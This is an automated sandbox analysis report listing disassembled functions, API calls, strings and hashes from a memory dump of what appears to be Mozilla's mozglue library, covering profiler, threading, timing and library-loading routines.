String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 9036b7bdab8d54474de9db1055a09b55f2835164278d8ebdd06f35f36482f354
Instruction ID: dc637fd3ef4b896e0f7374ca8a9be9f12ce18dd71541c1ec3795c8ae1ef41481
Opcode Fuzzy Hash: 9036b7bdab8d54474de9db1055a09b55f2835164278d8ebdd06f35f36482f354
Instruction Fuzzy Hash: 518101717046409FDB00EF24C840BAEB7B5EFC5308F44856DE8499BB51FB31A889CBA2

Function 6CC0EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0EE60
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EE6D
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC0EEA5
CloseHandle.KERNEL32(?), ref: 6CC0EEB4
free.MOZGLUE(00000000), ref: 6CC0EEBB
GetCurrentThreadId.KERNEL32 ref: 6CC0EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0EECF

Part of subcall function 6CC0DE60: GetCurrentThreadId.KERNEL32 ref: 6CC0DE73
Part of subcall function 6CC0DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CBD4A68), ref: 6CC0DE7B
Part of subcall function 6CC0DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CBD4A68), ref: 6CC0DEB8
Part of subcall function 6CC0DE60: free.MOZGLUE(00000000,?,6CBD4A68), ref: 6CC0DEFE
Part of subcall function 6CC0DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CC0DF38

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

GetCurrentThreadId.KERNEL32 ref: 6CC0EF1E
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EF2B
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EF59
GetCurrentThreadId.KERNEL32 ref: 6CC0EFB0
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EFBD
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EFE1
GetCurrentThreadId.KERNEL32 ref: 6CC0EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F000

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC0F02F

Part of subcall function 6CC0F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC0F09B
Part of subcall function 6CC0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CC0F0AC
Part of subcall function 6CC0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CC0F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CC0F008
[I %d/%d] profiler_stop, xrefs: 6CC0EED7

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 81d45913c6b8272c7e02e92f15f1b7810c0c3e29330218d2311c25d6a77ab0e2
Instruction ID: b39f693c9f91907705fdf1013fef939ee60648d9fe608d5ae3f3691edc8f0454
Opcode Fuzzy Hash: 81d45913c6b8272c7e02e92f15f1b7810c0c3e29330218d2311c25d6a77ab0e2
Instruction Fuzzy Hash: 665136357006149FDB00BB69D418BAA7BB4EB8632CF14C669E92583F40FF724808C7B6

Function 6CBD9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBC31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CBC3217
Part of subcall function 6CBC31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CBC3236
Part of subcall function 6CBC31C0: FreeLibrary.KERNEL32 ref: 6CBC324B
Part of subcall function 6CBC31C0: __Init_thread_footer.LIBCMT ref: 6CBC3260
Part of subcall function 6CBC31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CBC327F
Part of subcall function 6CBC31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBC328E
Part of subcall function 6CBC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBC32AB
Part of subcall function 6CBC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBC32D1
Part of subcall function 6CBC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CBC32E5
Part of subcall function 6CBC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CBC32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CBD9675
__Init_thread_footer.LIBCMT ref: 6CBD9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CBD96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CBD9707
__Init_thread_footer.LIBCMT ref: 6CBD971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBD9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CBD97B7
FreeLibrary.KERNEL32 ref: 6CBD97D0
FreeLibrary.KERNEL32 ref: 6CBD97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBD9824

Strings

MapViewOfFileNuma2, xrefs: 6CBD97B1
ntdll.dll, xrefs: 6CBD96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CBD9670
NtMapViewOfSection, xrefs: 6CBD9701

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 1fc9608addbbfc655f628e2cb1877da7de7daf564832c6ebc9a69ceb3924577b
Instruction ID: 98fa798d9ad34f2d82863d2d901e8f1e657414f072f1d03f744e84c47f02618b
Opcode Fuzzy Hash: 1fc9608addbbfc655f628e2cb1877da7de7daf564832c6ebc9a69ceb3924577b
Instruction Fuzzy Hash: 9A61E671B00245AFDF00EFA5D994B9A7BB1EB4A31CF11C529ED1593B80DB34A854CB92

Function 6CC26660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CC4F618), ref: 6CC26694
GetThreadId.KERNEL32(?), ref: 6CC266B1
GetCurrentThreadId.KERNEL32 ref: 6CC266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CC266E1
EnterCriticalSection.KERNEL32(6CC4F618), ref: 6CC26734
GetCurrentProcess.KERNEL32 ref: 6CC2673A
LeaveCriticalSection.KERNEL32(6CC4F618), ref: 6CC2676C
GetCurrentThread.KERNEL32 ref: 6CC267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CC26868
RtlCaptureContext.NTDLL(?), ref: 6CC2687F

Strings

WalkStack64, xrefs: 6CC26890

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 6f7dd035ea437dc72ede2f7169587367f79e8e75f4ce6d7e0ef4bc32360ca4a8
Instruction ID: 4de90eaf6b044d8a33516e16d15573ccb138eb35ed21ae52ff210cb60a1b674b
Opcode Fuzzy Hash: 6f7dd035ea437dc72ede2f7169587367f79e8e75f4ce6d7e0ef4bc32360ca4a8
Instruction Fuzzy Hash: 9851AC71A09B01AFD711DF25C844B5EBBF4FF89718F00892DF99987640E774E9088BA2

Function 6CC0DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0DE73
GetCurrentThreadId.KERNEL32 ref: 6CC0DF7D
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0DF8A
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0DFC9
GetCurrentThreadId.KERNEL32 ref: 6CC0DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CBD4A68), ref: 6CC0DE7B

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CBD4A68), ref: 6CC0DEB8
free.MOZGLUE(00000000,?,6CBD4A68), ref: 6CC0DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CC0DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CC0DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CC0E00E
<none>, xrefs: 6CC0DFD7

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 7bd63824a18d82361941d62dea5a6951f6e293fe00a088248e011a3a2f8f981b
Instruction ID: b86f61c831332803de31ba4568a1136d4c5dac37176296357ce8892e23832cca
Opcode Fuzzy Hash: 7bd63824a18d82361941d62dea5a6951f6e293fe00a088248e011a3a2f8f981b
Instruction Fuzzy Hash: 21412435B016109FEB10AF65D818BAEB775EF8631CF14C019E91987F01EB329809CBE2

Function 6CC1D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC1D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D52A
GetCurrentThreadId.KERNEL32 ref: 6CC1D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D55F
free.MOZGLUE(00000000), ref: 6CC1D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC1D5D3
GetCurrentThreadId.KERNEL32 ref: 6CC1D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D652
GetCurrentThreadId.KERNEL32 ref: 6CC1D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D6A2

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 14d671bfc63f099d521ab11118ff313e3d3c65a541fec54c831993e2120d33a5
Instruction ID: a0951ec4e5944b1ec0c3edb3d5920b5e5a5c88d67aba0a1a3bee0027a7c5b2cb
Opcode Fuzzy Hash: 14d671bfc63f099d521ab11118ff313e3d3c65a541fec54c831993e2120d33a5
Instruction Fuzzy Hash: 75516BB1604B05DFC704DF35C494A9ABBB4FF89318F108A6EE85A87B11EB30A945CB91

Function 6CBE5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CBE56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBE56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CBE56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CBE5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CBE57BC
GetTickCount64.KERNEL32 ref: 6CBE58CB
EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBE58F3
__aulldiv.LIBCMT ref: 6CBE5945
LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CBE59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CC4F638,?,?,?,?), ref: 6CBE59E9

Strings

MOZ_APP_RESTART, xrefs: 6CBE56CC

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: d2b4e3df47560ee61caf6942f784283e424843f02fa26795f496d9faaf8f2049
Instruction ID: e173b37996db5b34963d5b274dc6c6da65d7a0d05f7cd2151884e165abf591ab
Opcode Fuzzy Hash: d2b4e3df47560ee61caf6942f784283e424843f02fa26795f496d9faaf8f2049
Instruction Fuzzy Hash: 4BC16B35A097909FD705DF28C4406AEB7F1FF9A758F05CA1DE8C897660D730A889CB86

Function 6CC0EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0EC8C

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

GetCurrentThreadId.KERNEL32 ref: 6CC0ECA1
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CC0ECC5
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC0ED19
CloseHandle.KERNEL32(?), ref: 6CC0ED28
free.MOZGLUE(00000000), ref: 6CC0ED2F
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CC0EC94

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6d20352005193638a1b7df2292be350086806f6fc7dfed3e61ef3ddbb62cfd05
Instruction ID: e43d3a586df9839d153068fe67c4308d37ee55ae08bec874d225c69594019bc7
Opcode Fuzzy Hash: 6d20352005193638a1b7df2292be350086806f6fc7dfed3e61ef3ddbb62cfd05
Instruction Fuzzy Hash: 6021D175700604AFDB00AF64D808BAA7B79EB8636CF14C214FD1897B41FB329805CBA1

Function 6CC08ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CBCEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBCEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CC0B392,?,?,00000001), ref: 6CC091F4

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

Strings

timeline-memory, xrefs: 6CC09088
timeline-overview, xrefs: 6CC0907A
timeline-ipc, xrefs: 6CC09096
timeline-fileio, xrefs: 6CC090A4
marker-table, xrefs: 6CC0906C
name, xrefs: 6CC08F16
marker-chart, xrefs: 6CC0905E
stack-chart, xrefs: 6CC090B2
data, xrefs: 6CC090E8

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a8fc31aa0fb46259bbc05e9cf5efb37f2d5c138a69b5886a48df686f75f9b136
Instruction ID: 144b0a076155ac60f4767494f4a91e1c61ddad3b48cdafa09a6e0bcd74ce6bbe
Opcode Fuzzy Hash: a8fc31aa0fb46259bbc05e9cf5efb37f2d5c138a69b5886a48df686f75f9b136
Instruction Fuzzy Hash: C9B1D4B0B01259DBDB04CF99D492BEEBBB5BF85348F108419D506ABF80E732A945CBD1

Function 6CBEC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBEC5A3
WideCharToMultiByte.KERNEL32 ref: 6CBEC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CBEC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CBECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBECAA5

Strings

0, xrefs: 6CBED30A
(null), xrefs: 6CBEC596

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 032403c914811e26eca45c8c589841c41f52f02bb5b66e7bbf4a6164f64bb4f5
Instruction ID: ecfda60d8cde4b8cac35e9fe1948517ff48304412b31f7855114dab1b7025d3b
Opcode Fuzzy Hash: 032403c914811e26eca45c8c589841c41f52f02bb5b66e7bbf4a6164f64bb4f5
Instruction Fuzzy Hash: 6EA169306083829FDB11EF28C55475BBBF1EFC9B88F04892DE89997641D775E805CB92

Function 6CBC3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBC3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBC34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBC34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CBC350E
__Init_thread_footer.LIBCMT ref: 6CBC3522
__aulldiv.LIBCMT ref: 6CBC3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBC357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBC3592

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

Strings

kernel32.dll, xrefs: 6CBC34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CBC3508

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

